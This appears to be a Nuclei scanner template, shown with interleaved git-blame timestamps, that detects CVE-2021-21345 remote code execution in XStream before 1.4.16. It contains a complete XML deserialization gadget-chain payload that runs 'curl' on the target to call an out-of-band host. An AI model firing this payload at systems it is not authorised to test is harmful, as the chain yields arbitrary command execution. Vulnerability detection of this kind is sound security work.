2023-03-12 03:38:05 +00:00
id : CVE-2021-21345
info :
2023-04-12 18:54:05 +00:00
name : XStream <1.4.16 - Remote Code Execution
2023-05-06 16:36:32 +00:00
author : pwnhxl,vicrack
2023-03-29 20:18:04 +00:00
severity : critical
2023-03-23 11:21:46 +00:00
description : |
2023-04-12 18:54:05 +00:00
XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
2023-09-06 12:09:01 +00:00
remediation : Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
2023-03-12 03:38:05 +00:00
reference :
- https://x-stream.github.io/CVE-2021-21345.html
2023-03-29 20:18:04 +00:00
- http://x-stream.github.io/changes.html#1.4.16
- https://github.com/x-stream/xstream/security/advisories/GHSA-hwpc-8xqv-jvj4
2023-04-12 18:54:05 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21345
2023-07-11 19:49:27 +00:00
- https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E
2023-03-29 20:18:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 9.9
cve-id : CVE-2021-21345
2023-07-11 19:49:27 +00:00
cwe-id : CWE-78,CWE-502
2023-12-12 11:07:52 +00:00
epss-score : 0.4876
2024-01-29 17:11:14 +00:00
epss-percentile : 0.9721
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : xstream_project
product : xstream
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,xstream,deserialization,rce,oast,xstream_project
2023-03-12 03:38:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-12 03:38:05 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
2023-05-06 16:36:32 +00:00
<activationCmd>curl http://{{interactsh-url}}</activationCmd>
2023-03-12 03:38:05 +00:00
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
2023-03-22 10:00:41 +00:00
- "http"
- type : word
part : interactsh_request
words :
2023-05-06 16:36:32 +00:00
- "User-Agent: curl"
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022100c57ea9d8cecf995608fe7d5b0128a9e6783b30e14e86bd3ba5820cc61fb13e5c02204144080c1e53f2cbea11cc5770c68b6014c15e5d0215a769eadff83ae34e16d0:922c64590222798bb761d5b6d8e72950